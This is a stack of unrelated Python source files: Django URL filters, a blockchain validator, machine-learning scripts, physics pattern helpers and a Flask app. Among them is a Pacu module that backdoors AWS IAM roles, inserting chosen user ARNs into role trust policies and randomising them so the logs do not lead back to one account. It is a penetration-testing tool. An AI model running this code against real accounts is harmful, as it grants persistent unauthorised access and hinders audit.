import logging

from django import template
from django.http import QueryDict
from urllib.parse import urlparse, urlunparse

logger = logging.getLogger("socialrating.%s" % __name__)
register = template.Library()

@register.filter
def togglecontext(request, context):
    """
    Toggles context and returns the resulting url as a string
    """
    # parse the original url
    parsed_url = urlparse(request.get_full_path())
    # create a QueryDict to parse the GET params
    queries = QueryDict(parsed_url.query, mutable=True)
    # get contexts param
    contexts = queries.getlist("context")
    if contexts:
        if context.slug in contexts:
            contexts.remove(context.slug)
        else:
            contexts.append(context.slug)
        if contexts:
            queries.setlist("context", contexts)
        else:
            del queries["context"]
    else:
        queries["context"] = context.slug
    queries = queries.urlencode()
    new_url = urlunparse(
        (
            parsed_url.scheme,
            parsed_url.netloc,
            parsed_url.path,
            parsed_url.params,
            queries,
            parsed_url.fragment,
        )
    )
    return new_url

@register.filter
def clearcontext(request):
    """
    Removes all context GET vars from url and returns
    """
    parsed_url = urlparse(request.get_full_path())
    queries = QueryDict(parsed_url.query, mutable=True)
    if "context" in queries:
        del queries["context"]
    new_url = urlunparse(
        (
            parsed_url.scheme,
            parsed_url.netloc,
            parsed_url.path,
            parsed_url.params,
            queries,
            parsed_url.fragment,
        )
    )
    return new_url


#!/usr/bin/env python3
import argparse
import json
from random import choice

from botocore.exceptions import ClientError

module_info = {
    # Name of the module (should be the same as the filename)
    'name': 'iam__backdoor_assume_role',

    # Name and any other notes about the author
    'author': 'Spencer Gietzen of Rhino Security Labs based on the idea from https://github.com/dagrz/aws_pwn/blob/master/persistence/backdoor_all_roles.py',

    # Category of the module. Make sure the name matches an existing category.
    'category': 'PERSIST',

    # One liner description of the module functionality. This shows up when a user searches for modules.
    'one_liner': 'Creates assume-role trust relationships between users and roles.',

    # Description about what the module does and how it works
    'description': 'This module creates a trust relationship between one or more user accounts and one or more roles in the account, allowing those users to assume those roles.',

    # A list of AWS services that the module utilizes during its execution
    'services': ['IAM'],

    # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself, that way, session data can stay separated and modular.
    'prerequisite_modules': ['iam__enum_users_roles_policies_groups'],

    # Module arguments to autocomplete when the user hits tab
    'arguments_to_autocomplete': ['--role-names', '--user-arns', '--no-random'],
}

parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])

parser.add_argument('--role-names', required=False, default=None, help='A comma-separated list of role names from the AWS account that trust relationships should be created with. Defaults to all roles.')
parser.add_argument('--user-arns', required=False, default=None, help='A comma-separated list of user ARNs that the trust relationship with roles should be created with. By default, user ARNs in this list are chosen at random for each role to try and prevent the tracking of the logs all back to one user account. Without this argument, the module will default to the current user.')
parser.add_argument('--no-random', required=False, action='store_true', help='If this argument is supplied in addition to a list of user ARNs, a trust relationship is created for each user in the list with each role, rather than one of them at random.')

def main(args, pacu_main):
    session = pacu_main.get_active_session()

    ###### Don't modify these. They can be removed if you are not using the function.
    args = parser.parse_args(args)
    print = pacu_main.print
    input = pacu_main.input
    key_info = pacu_main.key_info
    fetch_data = pacu_main.fetch_data
    get_aws_key_by_alias = pacu_main.get_aws_key_by_alias
    ######

    client = pacu_main.get_boto3_client('iam')

    rolenames = []
    user_arns = []
    summary_data = {}

    if args.role_names is None:
        print('Fetching Roles... ')
        if fetch_data(['IAM', 'Roles'], module_info['prerequisite_modules'][0], '--roles') is False:
            print('Sub-module Execution Failed')
            print('  Exiting...')
            return
        for role in session.IAM['Roles']:
            rolenames.append(role['RoleName'])
        print('{} Role(s) Found'.format(len(session.IAM['Roles'])))
    else:
        rolenames = args.role_names.split(',')

    if args.user_arns is None:
        # Find out the current users ARN
        # This should be moved into the creds array in the "Arn" parameter for those set of keys that are running this module
        user = key_info()
        active_aws_key = get_aws_key_by_alias(session.key_alias)

        if 'Arn' not in user or user['Arn'] is None:
            sts_client = pacu_main.get_boto3_client('sts')
            user_info = sts_client.get_caller_identity()
            active_aws_key.update(pacu_main.database, arn=user_info['Arn'], user_id=user_info['UserId'], account_id=user_info['Account'])

        user_arns.append(active_aws_key.arn)
    else:
        if ',' in args.user_arns:
            user_arns.extend(args.user_arns.split(','))
        else:
            user_arns.append(args.user_arns)  # Only one ARN was passed in

    iam = pacu_main.get_boto3_resource('iam')
    backdoored_role_count = 0
    print('Backdoor the following roles?')
    for rolename in rolenames:
        target_role = 'n'
        if args.role_names is None:
            target_role = input('  {}  (Y/N) '.format(rolename))

        if target_role.lower() == 'y' or args.role_names is not None:
            print('    Backdooring {}...'.format(rolename))
            try:
                role = iam.Role(rolename)
                original_policy = role.assume_role_policy_document
                hacked_policy = modify_assume_role_policy(original_policy, user_arns, args.no_random)
                client.update_assume_role_policy(
                    RoleName=rolename,
                    PolicyDocument=json.dumps(hacked_policy)
                )
                print('    Backdoor successful!')
                backdoored_role_count += 1
            except ClientError as error:
                print('      FAILURE:')
                code = error.response['Error']['Code']
                if code == 'UnmodifiableEntity':
                    print('        SERVICE PROTECTED BY AWS')
                elif code == 'AccessDenied':
                    print('        MISSING NEEDED PERMISSIONS')
                else:
                    print('        {}'.format(code))
    summary_data['RoleCount'] = backdoored_role_count
    return summary_data

def summary(data, pacu_main):
    out = ''
    if 'RoleCount' in data:
        out += '  {} Role(s) successfully backdoored\n'.format(data['RoleCount'])
    return out

def modify_assume_role_policy(original_policy, user_arns, no_random):
    if 'Statement' in original_policy:
        statements = original_policy['Statement']

        for statement in statements:
            if 'Effect' in statement and statement['Effect'] == 'Allow':
                if 'Principal' in statement and isinstance(statement['Principal'], dict):
                    # Principals can be services, federated users, etc.
                    # 'AWS' signals a specific account based resource
                    # print(statement['Principal'])
                    if 'AWS' in statement['Principal']:
                        if isinstance(statement['Principal']['AWS'], list):
                            # If there are multiple principals, append to the list
                            if no_random:
                                for arn in user_arns:
                                    statement['Principal']['AWS'].append(arn)

                            else:
                                arn = choice(user_arns)
                                statement['Principal']['AWS'].append(arn)

                        else:
                            # If a single principal exists, make it into a list
                            statement['Principal']['AWS'] = [statement['Principal']['AWS']]
                            if no_random:
                                for arn in user_arns:
                                    statement['Principal']['AWS'].append(arn)

                            else:
                                arn = choice(user_arns)
                                statement['Principal']['AWS'].append(arn)

                    else:
                        # No account based principal principal exists
                        if no_random and len(user_arns) > 1:
                            statement['Principal']['AWS'] = []
                            for arn in user_arns:
                                statement['Principal']['AWS'].append(arn)

                        else:
                            arn = choice(user_arns)
                            statement['Principal']['AWS'] = arn

                elif 'Principal' not in statement:
                    # This shouldn't be possible, but alas, it is
                    if no_random and len(user_arns) > 1:
                            statement['Principal'] = {'AWS': []}
                            for arn in user_arns:
                                statement['Principal']['AWS'].append(arn)

                    else:
                        arn = choice(user_arns)
                        statement['Principal'] = {'AWS': arn}

    return original_policy  # now modified in line


"""
Gini function implementation to minimize the enthropy
"""
import data
import numpy as np

def Gini_data(Y):
    #count the Y equal to one
    c_pos=len(np.where(Y == 1)[0])/len(Y)
    #count the Y equal to 0
    c_neg=len(np.where(Y == -1)[0])/len(Y)
    return 1-c_pos**2-c_neg**2

def Gini(X,Y,Threshlod):
    #sort X based on x values ascendingly
    X.sort()
    b = np.argsort(X)
    Y=Y[b]

    #Gini index for the Right branch
    above_threshold_indices = X >= Threshlod
    CR_pos=np.count_nonzero(Y[above_threshold_indices]==1)
    CR_neg=np.count_nonzero(Y[above_threshold_indices]==-1)
    #calculate the Gini for the  right brnch

    UAR=1-((CR_pos/(CR_pos+CR_neg))**2)-((CR_neg/(CR_neg+CR_pos))**2)

    # Gini index for the right branch
    below_threshold_indices = X < Threshlod
    CL_pos=np.count_nonzero(Y[below_threshold_indices]==1)
    CL_neg=np.count_nonzero(Y[below_threshold_indices]==-1)

    #calculate the Gini for the  left brnch

    UAL=1-(CL_pos/(CL_pos+CL_neg))**2-(CL_neg/(CL_neg+CL_pos))**2

    UA=Gini_data(Y)

    pl=(CL_pos+CL_neg)/len(Y)
    pr=(CR_pos+CR_neg)/len(Y)

    #benefit of split for feature f_i
    B=UA-pl*UAL-pr*UAR

    return B

def threshold_func(X,Y):
   # pass   as arg the indices of the sorted 2nd column
    YX=np.column_stack((Y, X[:,0]))
    sorted = YX[np.argsort(YX[:, 1])]

    y1, x1 = np.hsplit(sorted, 2)
    indices_where_change = np.where(y1[:-1] != y1[1:])[0]
    return  X[indices_where_change]

[Y,X]=data.open_csv("pa3_train_reduced")

thresh=threshold_func(X,Y)
print(len(thresh))
for th  in thresh:
    B=Gini(X[:,0],Y,th)
    print(B)
#
# for thress in thresh:
#     B=Gini(X[:,1],Y,thress)
#     print(B)


import hashlib
import logging
import os
import signal
import time
import threading

from sawtooth_validator.concurrent.threadpool import \
    InstrumentedThreadPoolExecutor
from sawtooth_validator.consensus.notifier import ConsensusNotifier
from sawtooth_validator.consensus.proxy import ConsensusProxy
from sawtooth_validator.consensus.proxy import ConsensusActivationObserver
from sawtooth_validator.consensus.registry import ConsensusRegistry
from sawtooth_validator.database.lmdb_nolock_database import LMDBNoLockDatabase
from sawtooth_validator.database.native_lmdb import NativeLmdbDatabase
from sawtooth_validator.journal.block_validator import \
    BlockValidationResultStore
from sawtooth_validator.journal.block_sender import BroadcastBlockSender
from sawtooth_validator.journal.block_store import BlockStore
from sawtooth_validator.journal.block_manager import BlockManager
from sawtooth_validator.journal.completer import Completer
from sawtooth_validator.journal.responder import Responder
from sawtooth_validator.journal.journal import Journal
from sawtooth_validator.networking.dispatch import Dispatcher
from sawtooth_validator.state.batch_tracker import BatchTracker
from sawtooth_validator.state.merkle import MerkleDatabase
from sawtooth_validator.state.settings_view import SettingsViewFactory
from sawtooth_validator.state.settings_cache import SettingsObserver
from sawtooth_validator.state.settings_cache import SettingsCache
from sawtooth_validator.state.identity_view import IdentityViewFactory
from sawtooth_validator.state.state_view import StateViewFactory
from sawtooth_validator.gossip.permission_verifier import PermissionVerifier
from sawtooth_validator.gossip.permission_verifier import IdentityCache
from sawtooth_validator.gossip.identity_observer import IdentityObserver
from sawtooth_validator.networking.interconnect import Interconnect
from sawtooth_validator.gossip.gossip import Gossip

from sawtooth_validator.server.events.broadcaster import EventBroadcaster

from sawtooth_validator.journal.receipt_store import TransactionReceiptStore

from sawtooth_validator.server import network_handlers
from sawtooth_validator.server import component_handlers
from sawtooth_validator.server import consensus_handlers

LOGGER = logging.getLogger(__name__)

class Validator:
    def __init__(self,
                 bind_network,
                 bind_component,
                 bind_consensus,
                 endpoint,
                 peering,
                 seeds_list,
                 peer_list,
                 data_dir,
                 config_dir,
                 identity_signer,
                 key_dir,
                 scheduler_type,
                 permissions,
                 minimum_peer_connectivity,
                 maximum_peer_connectivity,
                 state_pruning_block_depth,
                 fork_cache_keep_time,
                 network_public_key=None,
                 network_private_key=None,
                 roles=None,
                 component_thread_pool_workers=10,
                 network_thread_pool_workers=10,
                 signature_thread_pool_workers=3):
        """Constructs a validator instance.

        Args:
            bind_network (str): the network endpoint
            bind_component (str): the component endpoint
            endpoint (str): the zmq-style URI of this validator's
                publically reachable endpoint
            peering (str): The type of peering approach. Either 'static'
                or 'dynamic'. In 'static' mode, no attempted topology
                buildout occurs -- the validator only attempts to initiate
                peering connections with endpoints specified in the
                peer_list. In 'dynamic' mode, the validator will first
                attempt to initiate peering connections with endpoints
                specified in the peer_list and then attempt to do a
                topology buildout starting with peer lists obtained from
                endpoints in the seeds_list. In either mode, the validator
                will accept incoming peer requests up to max_peers.
            seeds_list (list of str): a list of addresses to connect
                to in order to perform the initial topology buildout
            peer_list (list of str): a list of peer addresses
            data_dir (str): path to the data directory
            config_dir (str): path to the config directory
            identity_signer (Signer): cryptographic signer the validator uses
                for signing
            key_dir (str): path to the data directory
            component_thread_pool_workers (int): number of workers in the
                component thread pool; defaults to 10.
            network_thread_pool_workers (int): number of workers in the network
                thread pool; defaults to 10.
            signature_thread_pool_workers (int): number of workers in the
                signature thread pool; defaults to 3.
        """
        # -- Setup Global State Database and Factory -- #
        global_state_db_filename = os.path.join(
            data_dir, 'merkle-{}.lmdb'.format(bind_network[-2:]))
        LOGGER.debug(
            'global state database file is %s', global_state_db_filename)
        global_state_db = NativeLmdbDatabase(
            global_state_db_filename,
            indexes=MerkleDatabase.create_index_configuration())
        state_view_factory = StateViewFactory(global_state_db)

        # -- Setup Receipt Store -- #
        receipt_db_filename = os.path.join(
            data_dir, 'txn_receipts-{}.lmdb'.format(bind_network[-2:]))
        LOGGER.debug('txn receipt store file is %s', receipt_db_filename)
        receipt_db = LMDBNoLockDatabase(receipt_db_filename, 'c')
        receipt_store = TransactionReceiptStore(receipt_db)

        # -- Setup Block Store -- #
        block_db_filename = os.path.join(
            data_dir, 'block-{}.lmdb'.format(bind_network[-2:]))
        LOGGER.debug('block store file is %s', block_db_filename)
        block_db = NativeLmdbDatabase(
            block_db_filename,
            indexes=BlockStore.create_index_configuration())
        block_store = BlockStore(block_db)
        # The cache keep time for the journal's block cache must be greater
        # than the cache keep time used by the completer.
        base_keep_time = 1200

        block_manager = BlockManager()
        block_manager.add_commit_store(block_store)

        block_status_store = BlockValidationResultStore()

        # -- Setup Thread Pools -- #
        component_thread_pool = InstrumentedThreadPoolExecutor(
            max_workers=component_thread_pool_workers,
            name='Component')
        network_thread_pool = InstrumentedThreadPoolExecutor(
            max_workers=network_thread_pool_workers,
            name='Network')
        client_thread_pool = InstrumentedThreadPoolExecutor(
            max_workers=5,
            name='Client')
        sig_pool = InstrumentedThreadPoolExecutor(
            max_workers=signature_thread_pool_workers,
            name='Signature')

        # -- Setup Dispatchers -- #
        component_dispatcher = Dispatcher()
        network_dispatcher = Dispatcher()

        # -- Setup Services -- #
        component_service = Interconnect(
            bind_component,
            component_dispatcher,
            secured=False,
            reap=False,
            max_incoming_connections=20,
            monitor=True,
            max_future_callback_workers=10)

        zmq_identity = hashlib.sha512(
            time.time().hex().encode()).hexdigest()[:23]

        secure = False
        if network_public_key is not None and network_private_key is not None:
            secure = True

        network_service = Interconnect(
            bind_network,
            dispatcher=network_dispatcher,
            zmq_identity=zmq_identity,
            secured=secure,
            server_public_key=network_public_key,
            server_private_key=network_private_key,
            reap=True,
            public_endpoint=endpoint,
            connection_timeout=120,
            max_incoming_connections=100,
            max_future_callback_workers=10,
            authorize=True,
            signer=identity_signer,
            roles=roles)

        # -- Setup Transaction Execution Platform -- #
        batch_tracker = BatchTracker(block_store.has_batch)

        settings_cache = SettingsCache(
            SettingsViewFactory(state_view_factory),
        )

        event_broadcaster = EventBroadcaster(
            component_service, block_store, receipt_store)

        # -- Consensus Engine -- #
        consensus_thread_pool = InstrumentedThreadPoolExecutor(
            max_workers=3,
            name='Consensus')
        consensus_dispatcher = Dispatcher()
        consensus_service = Interconnect(
            bind_consensus,
            consensus_dispatcher,
            secured=False,
            reap=False,
            max_incoming_connections=20,
            max_future_callback_workers=10)

        consensus_registry = ConsensusRegistry()

        consensus_notifier = ConsensusNotifier(
            consensus_service,
            consensus_registry,
            identity_signer.get_public_key().as_hex())

        consensus_activation_observer = ConsensusActivationObserver(
            consensus_registry,
            consensus_notifier,
            settings_view_factory=SettingsViewFactory(state_view_factory))

        # -- Setup P2P Networking -- #
        gossip = Gossip(
            network_service,
            settings_cache,
            lambda: block_store.chain_head,
            block_store.chain_head_state_root,
            consensus_notifier,
            endpoint=endpoint,
            peering_mode=peering,
            initial_seed_endpoints=seeds_list,
            initial_peer_endpoints=peer_list,
            minimum_peer_connectivity=minimum_peer_connectivity,
            maximum_peer_connectivity=maximum_peer_connectivity,
            topology_check_frequency=1
        )

        consensus_notifier.set_gossip(gossip)

        completer = Completer(
            block_manager=block_manager,
            transaction_committed=block_store.has_transaction,
            get_committed_batch_by_id=block_store.get_batch,
            get_committed_batch_by_txn_id=(
                block_store.get_batch_by_transaction
            ),
            gossip=gossip,
            cache_keep_time=base_keep_time,
            cache_purge_frequency=30,
            requested_keep_time=300)
        self._completer = completer

        block_sender = BroadcastBlockSender(completer, gossip)

        identity_view_factory = IdentityViewFactory(
            StateViewFactory(global_state_db))

        id_cache = IdentityCache(identity_view_factory)

        # -- Setup Permissioning -- #
        permission_verifier = PermissionVerifier(
            permissions,
            block_store.chain_head_state_root,
            id_cache)

        identity_observer = IdentityObserver(
            to_update=id_cache.invalidate,
            forked=id_cache.forked)

        settings_observer = SettingsObserver(
            to_update=settings_cache.invalidate,
            forked=settings_cache.forked)

        # -- Setup Journal -- #
        journal = Journal(
            block_store=block_store,
            block_manager=block_manager,
            state_database=global_state_db,
            block_sender=block_sender,
            block_status_store=block_status_store,
            consensus_notifier=consensus_notifier,
            consensus_registry=consensus_registry,
            state_pruning_block_depth=state_pruning_block_depth,
            fork_cache_keep_time=fork_cache_keep_time,
            data_dir=data_dir,
            batch_observers=[batch_tracker],
            invalid_transaction_observers=[batch_tracker],
            observers=[
                event_broadcaster,
                receipt_store,
                batch_tracker,
                identity_observer,
                settings_observer,
                consensus_activation_observer
            ],
            key_dir=key_dir,
            genesis_observers=[receipt_store],
        )

        completer.set_get_chain_head(lambda: journal.chain_head)

        responder = Responder(completer)

        completer.set_on_block_received(journal.queue_block)

        # -- Register Message Handler -- #
        network_handlers.add(
            network_dispatcher, network_service, gossip, completer,
            responder, network_thread_pool, sig_pool,
            lambda block_id: block_id in block_manager, journal.has_batch,
            permission_verifier, consensus_notifier)

        component_handlers.add(
            component_dispatcher, gossip,
            completer, block_store, batch_tracker,
            global_state_db, self.get_chain_head_state_root_hash,
            receipt_store, event_broadcaster, permission_verifier,
            component_thread_pool, client_thread_pool,
            sig_pool, journal, identity_signer.get_public_key().as_hex())

        # -- Store Object References -- #
        self._component_dispatcher = component_dispatcher
        self._component_service = component_service
        self._component_thread_pool = component_thread_pool

        self._network_dispatcher = network_dispatcher
        self._network_service = network_service
        self._network_thread_pool = network_thread_pool

        consensus_proxy = ConsensusProxy(
            block_manager=block_manager,
            journal=journal,
            gossip=gossip,
            identity_signer=identity_signer,
            settings_view_factory=SettingsViewFactory(state_view_factory),
            state_view_factory=state_view_factory,
            consensus_registry=consensus_registry,
            consensus_notifier=consensus_notifier)

        consensus_handlers.add(
            consensus_dispatcher,
            consensus_thread_pool,
            consensus_proxy,
            consensus_notifier)

        self._block_status_store = block_status_store

        self._consensus_notifier = consensus_notifier
        self._consensus_dispatcher = consensus_dispatcher
        self._consensus_service = consensus_service
        self._consensus_thread_pool = consensus_thread_pool
        self._consensus_registry = consensus_registry

        self._client_thread_pool = client_thread_pool
        self._sig_pool = sig_pool

        self._gossip = gossip

        self._journal = journal

    def start(self):
        self._component_dispatcher.start()
        self._component_service.start()
        # will check if genesis block should be created
        self._journal.start()

        self._consensus_dispatcher.start()
        self._consensus_service.start()
        self._network_dispatcher.start()
        self._network_service.start()

        self._gossip.start()

        self._completer.set_on_batch_received(self._journal.submit_batch)
        signal_event = threading.Event()

        signal.signal(signal.SIGTERM,
                      lambda sig, fr: signal_event.set())
        # This is where the main thread will be during the bulk of the
        # validator's life.
        while not signal_event.is_set():
            signal_event.wait(timeout=20)

    def stop(self):
        self._gossip.stop()
        self._component_dispatcher.stop()
        self._network_dispatcher.stop()
        self._network_service.stop()

        self._component_service.stop()

        self._consensus_service.stop()
        self._consensus_dispatcher.stop()

        self._network_thread_pool.shutdown(wait=True)
        self._component_thread_pool.shutdown(wait=True)
        self._client_thread_pool.shutdown(wait=True)
        self._sig_pool.shutdown(wait=True)

        self._journal.stop()

        threads = threading.enumerate()

        # This will remove the MainThread, which will exit when we exit with
        # a sys.exit() or exit of main().
        threads.remove(threading.current_thread())

        while threads:
            if len(threads) < 4:
                LOGGER.info(
                    "remaining threads: %s",
                    ", ".join(
                        ["{} ({})".format(x.name, x.__class__.__name__)
                         for x in threads]))
            for t in threads.copy():
                if not t.is_alive():
                    t.join()
                    threads.remove(t)
                if threads:
                    time.sleep(1)

        LOGGER.info("All threads have been stopped and joined")

    def get_chain_head_state_root_hash(self):
        return self._chain_controller.chain_head.state_root_hash

def unwrap_if_not_none(blkw):
    if blkw:
        return blkw.block
    return None


import torch
from torch import nn
from loss import NLLLoss
from torch.autograd import Variable

class AdaptiveDSoftmaxWithLoss(nn.Module):
    def __init__(self, hidden_size, partition_dim, cutoffs=13867, vocab_num=1289627):
        super(AdaptiveDSoftmaxWithLoss, self).__init__()
        self.partition1 = nn.Linear(partition_dim, cutoffs + 1)
        self.partition2 = nn.Linear(hidden_size - partition_dim, vocab_num)
        self.nll_loss = NLLLoss()
        self.softmax = nn.Softmax(dim=1)
        self.cutoffs = cutoffs
        self.partition_dim = partition_dim

    def forward(self, x, target):
        x = Variable(x.float(), requires_grad=True)
        x = torch.index_select(x, 1, torch.cuda.LongTensor(list(range(self.partition_dim))))
        x = self.partition1(x)
        x = self.softmax(x)
        yt = self.one_hot(target, self.cutoffs).cuda()
        loss = self.nll_loss(x, yt)
        return loss

    def one_hot(self, x, max_index):
        max_vals = torch.cuda.LongTensor([max_index] * x.size(0))
        x = torch.where(x <= max_index, x, max_vals)
        return torch.zeros(x.size(0), max_index + 1).cuda().scatter_(1, x.view(-1, 1), 1.0)


"""Helper method for fast strip initialisation."""
import itertools

def create_pattern(n, method, type1="i", **kwargs):
    """Create patterns of Bloch point arrangements.

    Patterns are strings consisting of `i`, `o`, and `x`.
    Each character represents one Bloch point position, head-to-head as `i`,
    tail-to-tail as `o`. A position without Bloch point is denoted as `x`.

    Currently, this method does not return patterns that contain `x`.

    Parameters
    ----------
    n: int, List[int]
        Single number of Bloch points or list of numbers.

    method : str
        Method to use for pattern creation. Can be one of
        - `same-type`: same-type Bloch points
        - `alternating`: alternating opposite-type Bloch points
        - `all`: all possible configurations
        - `energy-levels`: all configurations resulting in different energies
        - `selection`: custom number of type changes.

    type1 : str, optional
        Bloch-point type at position 1. Defaults to `i` (head-to-head).
        Options:
        - head-to-head: `i`, `hh`
        - tail-to-tail: `o`, `tt`

    **kwargs : Any, optional
       Additional arguments required for certain metods:
       - `energy-levels`: `bcx: bool = False` to take boundary conditions
          into account.
       - `selection`: `typechanges: List[List[int]]` list of number of type
          changes

    Returns
    -------
    List[str]
        List of strings of Bloch point patterns.
    """
    if type1 not in ["i", "o", "hh", "tt"]:
        raise ValueError('Bloch point of type "{type1}" unknown.')
    if type1 == "hh":
        type1 = "i"
    elif type1 == "tt":
        type1 = "o"

    if method == "same-type":
        return _pattern_same_type(n, type1)
    elif method == "alternating":
        return _pattern_alternating_opposite_type(n, type1)
    elif method == "all":
        return _pattern_all_configs(n)
    elif method == "energy-levels":
        return _pattern_energetically_different(n, type1, **kwargs)
    elif method == "selection":
        return _pattern_n_typechanges(n, **kwargs, type1=type1)
    else:
        raise ValueError(f'Method "{method}" is unknown.')

def _pattern_same_type(n, type1="i"):
    res = []
    if isinstance(n, int):
        res.append(type1 * n)
    else:
        for i in n:
            res.append(type1 * i)
    return res

def _pattern_alternating_opposite_type(n, type1="i"):
    if type1 in ["i"]:
        start = 0
    else:
        start = 1
    res = []
    if isinstance(n, int):
        res.append(("io" * n)[start :start + n])
    else:
        for i in n:
            res.append(("io" * i)[start :start + i])
    return res

def _pattern_all_configs(n):
    return map(lambda x: "".join(x), itertools.product("io", repeat=n))

def _pattern_energetically_different(n, type1="i", bcx=False):
    if bcx:
        raise NotImplementedError
    if isinstance(n, int):
        n = [n]
    return _pattern_n_typechanges(n=n, typechanges=[range(i) for i in n], type1=type1)

def _pattern_n_typechanges(n, typechanges, type1="i"):
    res = []
    if isinstance(n, int):
        for tc in typechanges[0]:
            res.append(_pattern_from_typechanges(n, tc, type1))
    else:
        if len(n) != len(typechanges):
            msg = (
                "Length of the outer list of typechanges does not match"
                "Bloch point numbers"
            )
            raise ValueError(msg)
        for i, tcs in zip(n, typechanges):
            for tc in tcs:
                res.append(_pattern_from_typechanges(i, tc, type1))
    return res

def _pattern_from_typechanges(n, typechanges, type1):
    if typechanges >= n:
        msg = "Number of typechanges must be smaller than Bloch point number"
        raise ValueError(msg)
    type2 = "o" if type1 == "i" else "i"
    same = type1 * n
    alternating = (type2 + type1) * n
    return same[: n - typechanges] + alternating[:typechanges]

def pattern_ascii(characters):
    """Pattern representing the binary representation of the given characters.

    Head-to-head represents a 1 ('i'), tail-to-tail a 0 ('o').

    Parameters
    ----------
    characters : str
        String  to represent with Bloch points.

    Returns
    -------
    str
        Bloch point pattern encoded with `i` and `o`.
    """
    res = []
    for c in characters:
        binary = bin(ord(c))
        binary = binary[2:].zfill(8)  # string starts with '0b'
        for b in binary:
            if b == "1":
                res.append("i")
            else:
                res.append("o")
    return "".join(res)

def pattern_to_config(pattern, UP=(0, 0, 1), DOWN=(0, 0, -1), ELSE=None):
    """Translate a pattern string into subregions."""
    res = dict()
    res["subdivisions"] = len(pattern)
    res["positions"] = [i + 1 for i, p in enumerate(pattern) if p in "io"]
    res["subdivide_free"] = "i" in pattern and "o" in pattern
    patterndict = {"default": UP if 'i' in pattern else DOWN}
    for i, p in enumerate(pattern):
        if p == "i":
            patterndict[f"fixed{i+1}top"] = DOWN
        elif p == "o":
            patterndict[f"fixed{i+1}top"] = UP
            patterndict[f"fixed{i+1}bottom"] = DOWN
            patterndict[f"free{i+1}bottom"] = DOWN
            patterndict[f"free{i+1}top"] = DOWN
        elif ELSE:
            patterndict[f"free{i+1}bottom"] = ELSE
            patterndict[f"free{i+1}top"] = ELSE
    res["m_values"] = [pattern, patterndict]
    return res


#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Ringtail script for updating v1.0.0 databases to v1.1.0
#

import argparse
from ringtail import RingtailCore
import logging
import sys

if __name__ == "__main__":
    logging.basicConfig(
        level=logging.INFO, stream=sys.stdout, filemode="w", format="%(message)s"
    )
    # get name(s) of dbs to update from command line
    parser = argparse.ArgumentParser(
                    prog='rt_db_v100_to_v110',
                    description='Given one or multiple Ringtail databases made with v1.0.0, will update them to be compatible with v1.1.0')

    parser.add_argument('-d', '--database', help="Database file(s) made with Ringtail v1.0.0 to update to v1.1.0", nargs="+", type=str, action="store")
    args = parser.parse_args()

    consent = False

    for db in args.database:
        defaults = RingtailCore.get_defaults()
        defaults["storage_opts"]["values"]["db_file"] = db

        with RingtailCore("sqlite", defaults) as rtcore:
            consent = rtcore.update_database(consent)


from slerp.app import app, run
from utils import TeachmeJsonEncoder
from api.task_api import task_api_blue_print
from api.task_group_api import task_group_api_blue_print
from api.health_api import health_api_blue_print
from messaging import TaskScoreConsumer
import sys
import time
from slerp.logger import logging

log = logging.getLogger(__name__)
app.json_encoder = TeachmeJsonEncoder
app.register_blueprint(task_api_blue_print)
app.register_blueprint(task_group_api_blue_print)
app.register_blueprint(health_api_blue_print)
tasks = []

@app.before_first_request
@app.route('/start')
def start():
    log.info("Start")
    if len(tasks) == 0:
        tasks.append(TaskScoreConsumer())
    for t in tasks:
        if not t.is_alive():
            t.start()
            return {'payload': True}
        else:
            return {'payload': 'Has been running before'}

@app.route('/stop')
def stop():
    log.info("Stop consumer")
    if len(tasks) == 0:
        return {'payload': 'Not running'}
    for t in tasks:
        if t is not None:
            t.stop()
            t.terminate()
    tasks.clear()
    return {'payload': True}

if __name__ == '__main__':
    try:
        run()
    except KeyboardInterrupt:
        print("Exit")
        time.sleep(10)
        for task in tasks:
            task.stop()
            task.join()
        sys.exit(0)


import sys
from pandas import read_csv
import numpy as np
import matplotlib.pyplot as plt

from sklearn.model_selection import train_test_split, cross_validate, cross_val_score, GridSearchCV
from sklearn.metrics import classification_report, f1_score, accuracy_score
from sklearn.linear_model import LogisticRegression
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn import svm, tree

def classify(type, clf, X_train, y_train, X_test, y_test):
	print("##########################")
	print("{}".format(type))
	print("##########################")

	# fit
	clf.fit(X_train, y_train)

	print("Best parameters set found on trainig set:")
	print(clf.best_params_)
	best_score = clf.best_score_

	# Test on test set
	y_true, y_pred = y_test, clf.predict(X_test)
	# report = classification_report(y_true, y_pred)
	# print(report)
	test_score = accuracy_score(y_true, y_pred)

	print("{},{},{}\n".format(type, best_score, test_score))

def make_meshgrid(x, y, h=.02):
    """Create a mesh of points to plot in

    Parameters
    ----------
    x: data to base x-axis meshgrid on
    y: data to base y-axis meshgrid on
    h: stepsize for meshgrid, optional

    Returns
    -------
    xx, yy : ndarray
    """
    x_min, x_max = x.min() - 1, x.max() + 1
    y_min, y_max = y.min() - 1, y.max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))
    return xx, yy

def plot_contours(ax, clf, xx, yy, **params):
    """Plot the decision boundaries for a classifier.

    Parameters
    ----------
    ax: matplotlib axes object
    clf: a classifier
    xx: meshgrid ndarray
    yy: meshgrid ndarray
    params: dictionary of params to pass to contourf, optional
    """
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)
    out = ax.contourf(xx, yy, Z, **params)
    return out

if __name__ == '__main__':

	fin = sys.argv[1]
	fout = sys.argv[2]

	df = read_csv(fin)

	# Split data into test, train sets
	X_train, X_test, y_train, y_test = train_test_split(df[['A','B']].values, df['label'].values, test_size=0.4, stratify=df['label'].values)

	# Visualize test, train sets
	# fig, ax = plt.subplots()
	# ax.scatter(X_train[:,0], X_train[:,1], c=y_train)
	# plt.title('Training Set')
	# plt.show()

	# fig, ax = plt.subplots()
	# ax.scatter(X_test[:,0], X_test[:,1], c=y_test)
	# plt.title('Test Set')
	# plt.show()

	models = []
	#################################
	# SVM with Linear Kernel
	#################################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100], 'kernel': ['linear']}
	]
	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_linear", clf, X_train, y_train, X_test, y_test)

	#################################
	# SVM with Polynomial Kernel
	#################################
	param_grid = [
